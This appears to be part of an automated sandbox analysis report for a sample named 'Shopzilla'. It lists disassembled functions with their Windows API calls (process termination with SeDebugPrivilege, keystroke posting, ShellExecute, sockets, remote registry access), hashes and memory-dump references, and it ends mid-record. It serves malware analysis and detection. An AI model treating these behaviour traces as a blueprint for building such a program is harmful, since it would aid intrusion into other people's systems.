OpenProcess.KERNEL32(00000001,00000000,?), ref: 00C1EE97
TerminateProcess.KERNEL32(00000000,00000000), ref: 00C1EF14
GetLastError.KERNEL32(00000000), ref: 00C1EF1F
CloseHandle.KERNEL32(00000000), ref: 00C1EF54

Strings

SeDebugPrivilege, xrefs: 00C1EE73

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Process$CloseErrorLastOpen$ChangeCreateFindFirstHandleNotificationProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 1701285019-2896544425
Opcode ID: 902e134403c8cc6c6b555b5536639c67e76a75a9e592b941f4b3d763379b0902
Instruction ID: b68d8231249793135a655e11dfb417c6b6b0b79dd0bc380abedd6cf69a0e3ea7
Opcode Fuzzy Hash: 902e134403c8cc6c6b555b5536639c67e76a75a9e592b941f4b3d763379b0902
Instruction Fuzzy Hash: B841BB312042059FCB11EF64DC95FAEB7E1AF86310F148098FD429B2D2CBB1AD89DB81

Function 00C0334A Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00C033E9

Strings

stop, xrefs: 00C033BA
warning, xrefs: 00C033D2
blank, xrefs: 00C0336B
question, xrefs: 00C033A2
info, xrefs: 00C0338A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: cc6c8ec69aab1b2b972e9720b8ec4bf914d536acc90ab0dbddec6effe65dd6a4
Instruction ID: 65f77fdf08ebad4df9197c196ed33d3efcd66faf80aa9975902e0976e474e4f5
Opcode Fuzzy Hash: cc6c8ec69aab1b2b972e9720b8ec4bf914d536acc90ab0dbddec6effe65dd6a4
Instruction Fuzzy Hash: 9E115B36348746FAE7024B559C82EAA37DCDF15721B60406EFA049A1D2EAB99F818168

Function 00C04655 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00C0466F
LoadStringW.USER32(00000000), ref: 00C04676
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00C0468C
LoadStringW.USER32(00000000), ref: 00C04693
_wprintf.LIBCMT ref: 00C046B9
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00C046D7

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00C046B4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 618eb76eed915b267a00387614ac650b1cd7f5e6c491b776696dbb8f632ccd1a
Instruction ID: b79c66a7f5001090eac7cbb5a16cb8a5ad4b95837f79d18ecb35869676503fe7
Opcode Fuzzy Hash: 618eb76eed915b267a00387614ac650b1cd7f5e6c491b776696dbb8f632ccd1a
Instruction Fuzzy Hash: 970162F79543087FE711A7909D89FFB776CE708301F5005A5BB45D2041EA745E848B75

Function 00C2D861 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BA29F3

GetSystemMetrics.USER32(0000000F), ref: 00C2D89F
GetSystemMetrics.USER32(0000000F), ref: 00C2D8BF
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00C2DAFA
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00C2DB18
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00C2DB39
ShowWindow.USER32(00000003,00000000), ref: 00C2DB58
InvalidateRect.USER32(?,00000000,00000001), ref: 00C2DB7D
DefDlgProcW.USER32(?,00000005,?,?), ref: 00C2DBA0

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: b8c49daebd988194cadf6554cb531e89358fc63fcb6f6f2b3f8e6fcd46f48fd8
Instruction ID: 510386824893fb676056e778655a39c6f758c628a92d880385a8b391e6815211
Opcode Fuzzy Hash: b8c49daebd988194cadf6554cb531e89358fc63fcb6f6f2b3f8e6fcd46f48fd8
Instruction Fuzzy Hash: 95B1DE31600225EFCF14CF69D9D5BAD7BB1FF14711F088069EC5A9B699D730AA90CB90

Function 00C20139 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Part of subcall function 00C21242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C201D5,?,?), ref: 00C21259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C20216

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: cc3e1804c015c34e681cfabf11391c60d03bfea3577af4f4f9808f8c4d972e11
Instruction ID: f96393416131398d2443c0b4b2bae6b5bb9bc7d26c9e3e26b83907ba4c93ed0f
Opcode Fuzzy Hash: cc3e1804c015c34e681cfabf11391c60d03bfea3577af4f4f9808f8c4d972e11
Instruction Fuzzy Hash: 70A1CC302042159FCB14EF14D891B7EBBE5EF84310F24895EF9A69B2A2DB70ED45CB42

Function 00BA2E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00BDC438,00000004,00000000,00000000,00000000), ref: 00BA2E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00BDC438,00000004,00000000,00000000,00000000,000000FF), ref: 00BA2EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00BDC438,00000004,00000000,00000000,00000000), ref: 00BDC48B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00BDC438,00000004,00000000,00000000,00000000), ref: 00BDC4F7

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 8173a816ea4784332bc345c7d87fa7570ba6dde9dafa55598e423f4a2eb6bf80
Instruction ID: bd3dd2d3cc98a725abe9e17bfb7d66360ae5427b947f8d512431838e7f34a227
Opcode Fuzzy Hash: 8173a816ea4784332bc345c7d87fa7570ba6dde9dafa55598e423f4a2eb6bf80
Instruction Fuzzy Hash: 2141F43560C6819AD7398B2CC9D877ABBD2EB87300F2484CEE84746BA1D771A8C1DB51

Function 00C074EE Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00C07505

Part of subcall function 00BC0F16: std::exception::exception.LIBCMT ref: 00BC0F4C
Part of subcall function 00BC0F16: __CxxThrowException@8.LIBCMT ref: 00BC0F61

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00C0753C
EnterCriticalSection.KERNEL32(?), ref: 00C07558
_memmove.LIBCMT ref: 00C075A6
_memmove.LIBCMT ref: 00C075C3
LeaveCriticalSection.KERNEL32(?), ref: 00C075D2
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00C075E7
InterlockedExchange.KERNEL32(?,000001F6), ref: 00C07606

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 06946b482b1d0ee689c54b28d0c178da9ef160cf09e50f92cb4aa3cf2e712dd5
Instruction ID: 70562ed85e68ff469dde42a35e9a63981e0d738f42fe62b2f22b0e90a2ef2cd5
Opcode Fuzzy Hash: 06946b482b1d0ee689c54b28d0c178da9ef160cf09e50f92cb4aa3cf2e712dd5
Instruction Fuzzy Hash: D9318132914205EBCB10EF54DC85FAFB7B8EF45310F2481A9F904AB256D7709A54DBA0

Function 00C265C0 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00C265D8
GetDC.USER32(00000000), ref: 00C265E0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00C265EB
ReleaseDC.USER32(00000000,00000000), ref: 00C265F7
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00C26633
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00C26644
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00C29417,?,?,000000FF,00000000,?,000000FF,?), ref: 00C2667E
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00C2669E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 3682ae5cd23d198aa357a8cfcc21422ec049753915705c3b60b2593471f79f1a
Instruction ID: 93286ce4f7412532588bfa2499fabd2ff9e5b34020e01033c4f8eb9211470cda
Opcode Fuzzy Hash: 3682ae5cd23d198aa357a8cfcc21422ec049753915705c3b60b2593471f79f1a
Instruction Fuzzy Hash: E7318B72111224BFEF158F10DC8AFEA3FA9EF49761F040051FE08AA291C6759C51CBB4

Function 00BFC52B Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00BFC540
_memcmp.LIBCMT ref: 00BFC562
_memcmp.LIBCMT ref: 00BFC57A
_memcmp.LIBCMT ref: 00BFC58D
_memcmp.LIBCMT ref: 00BFC5A7
_memcmp.LIBCMT ref: 00BFC5BA
_memcmp.LIBCMT ref: 00BFC5D2
_memcmp.LIBCMT ref: 00BFC5ED

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 4bfc072be6408b4ceee9a435accbd4f8363d392adec4896bccfbf39dc1ecd8a8
Instruction ID: 39c5a9b607500169b184930b1662e777a5510b2bf3bc800cc50568b19c3b0e19
Opcode Fuzzy Hash: 4bfc072be6408b4ceee9a435accbd4f8363d392adec4896bccfbf39dc1ecd8a8
Instruction Fuzzy Hash: 4921D761A1410D7B9600A5189F83FBB3BDCEEA1784F0040E6FE06E7243F755EF5982A5

Function 00C0EFD3 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

Part of subcall function 00BB436A: _wcscpy.LIBCMT ref: 00BB438D

_wcstok.LIBCMT ref: 00C0F144
_wcscpy.LIBCMT ref: 00C0F1D3
_memset.LIBCMT ref: 00C0F206

Strings

X, xrefs: 00C0F243

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: c5a1b3d37b89e16d76311a2439524c72c1559f4bf74e015cc7f5f77b1be44421
Instruction ID: 8a44d4ff3efa340da9fae3d9460ae92f5528a976b0d8fcc8bc84c8ce781f4783
Opcode Fuzzy Hash: c5a1b3d37b89e16d76311a2439524c72c1559f4bf74e015cc7f5f77b1be44421
Instruction Fuzzy Hash: 0BC18E715083409FD724EF28C855AAEB7E4FF85310F10496DF899972A2DB70ED86CB92

Function 00C16FB3 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00C170B0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00C170D1
WSAGetLastError.WSOCK32(00000000), ref: 00C170E4
htons.WSOCK32(?,?,?,00000000,?), ref: 00C1719A
inet_ntoa.WSOCK32(?), ref: 00C17157

Part of subcall function 00BFB2CD: _strlen.LIBCMT ref: 00BFB2D7
Part of subcall function 00BFB2CD: _memmove.LIBCMT ref: 00BFB2F9

_strlen.LIBCMT ref: 00C171F4
_memmove.LIBCMT ref: 00C1725D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: c9e8b439a3afcd27cd62f61966f434d4df0c7b9d301bdba00ef09a32d59cd268
Instruction ID: dd07d90cca7c038c78f8d79e059b9730db5bd9d419cafe4cf8ae68b2f175f82e
Opcode Fuzzy Hash: c9e8b439a3afcd27cd62f61966f434d4df0c7b9d301bdba00ef09a32d59cd268
Instruction Fuzzy Hash: 8081D171208300ABC320EB24DC91FAFB7F8AF86714F104A5CF5569B292DB70AE45DB91

Function 00BA1800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 790a2df7f54a43e4005caddccd275e20a86d6dd2e6653fb4300250f84fbb1806
Instruction ID: 8a8abf9781e8fd046bdd0f56b03326ff3e1b0ef7a4f5837315fce38e11c0e302
Opcode Fuzzy Hash: 790a2df7f54a43e4005caddccd275e20a86d6dd2e6653fb4300250f84fbb1806
Instruction Fuzzy Hash: CB717D31904109EFCB45CF98CC89EBEBBB9FF86314F248599F915AB251C7349A51CBA0

Function 00C2B73E Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00D356E0), ref: 00C2B7D8
IsWindowEnabled.USER32(00D356E0), ref: 00C2B7E4
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00C2B8C8
SendMessageW.USER32(00D356E0,000000B0,?,?), ref: 00C2B8FF
IsDlgButtonChecked.USER32(?,?), ref: 00C2B93C
GetWindowLongW.USER32(00D356E0,000000EC), ref: 00C2B95E
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00C2B976

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: c012b3b2145f3b499ffc76bcc95a5875334ef529272f2446f13d59fab8229b1e
Instruction ID: e282acacbd7a23fb07196e92e6476a160f064fb20eaf52c3456a42edb65ad25e
Opcode Fuzzy Hash: c012b3b2145f3b499ffc76bcc95a5875334ef529272f2446f13d59fab8229b1e
Instruction Fuzzy Hash: 9D71BE74A00224AFEB20DF64E8D5FAA7BB9FF49300F144059F969937A1C731AE50DB60

Function 00C1F8CF Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C1F8F9
_memset.LIBCMT ref: 00C1F9C2
ShellExecuteExW.SHELL32(?), ref: 00C1FA07

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

Part of subcall function 00BB436A: _wcscpy.LIBCMT ref: 00BB438D

GetProcessId.KERNEL32(00000000), ref: 00C1FA7E
CloseHandle.KERNEL32(00000000), ref: 00C1FAAD

Strings

@, xrefs: 00C1F9D6

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: e04babf44e954f7eaffbd8401198a0823365a2ec5a837a3ff38276e90c552db7
Instruction ID: def6ffc554a5f7ca6f94216663dd33b191d4b9daa50e401287959da90c142cd2
Opcode Fuzzy Hash: e04babf44e954f7eaffbd8401198a0823365a2ec5a837a3ff38276e90c552db7
Instruction Fuzzy Hash: 3761C075A00619DFCB14EF54C480AAEB7F5FF49310F1481ADE859AB351CB70AE82CB90

Function 00C015B8 Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00C015F7
GetKeyboardState.USER32(?), ref: 00C0160C
SetKeyboardState.USER32(?), ref: 00C0166D
PostMessageW.USER32(?,00000101,00000010,?), ref: 00C0169B
PostMessageW.USER32(?,00000101,00000011,?), ref: 00C016BA
PostMessageW.USER32(?,00000101,00000012,?), ref: 00C01700
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00C01723

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 905bbc36b9a620275f6285eefb96941e868ab46cca34344a1eb65a779427caed
Instruction ID: af078dd45ef2967e9882ea5c64dbe24380ea1b3bc6434a741086de1144732393
Opcode Fuzzy Hash: 905bbc36b9a620275f6285eefb96941e868ab46cca34344a1eb65a779427caed
Instruction Fuzzy Hash: 3D51E3A06087D13EFB364728CC55BBAFFA99B06304F0C4589F9E5468C2C2E9AE94D750

Function 00C013D1 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00C01410
GetKeyboardState.USER32(?), ref: 00C01425
SetKeyboardState.USER32(?), ref: 00C01486
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00C014B2
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00C014CF
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00C01513
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00C01534

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 90da5391d41d8704a54b2f96e72f4b3aad35df98e251a86dcec7515440f0a713
Instruction ID: 7f5773c7cf2a6455ccaea81954290ac6dbf77331a2cba153a53bb6cf384059d8
Opcode Fuzzy Hash: 90da5391d41d8704a54b2f96e72f4b3aad35df98e251a86dcec7515440f0a713
Instruction Fuzzy Hash: D95128A05487D53DFB3383748C55B7AFFA9AB46300F0C4489F9E64A8D2D2A4EE84E750

Function 00C05A25 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00C05A32
_wcsncpy.LIBCMT ref: 00C05A67
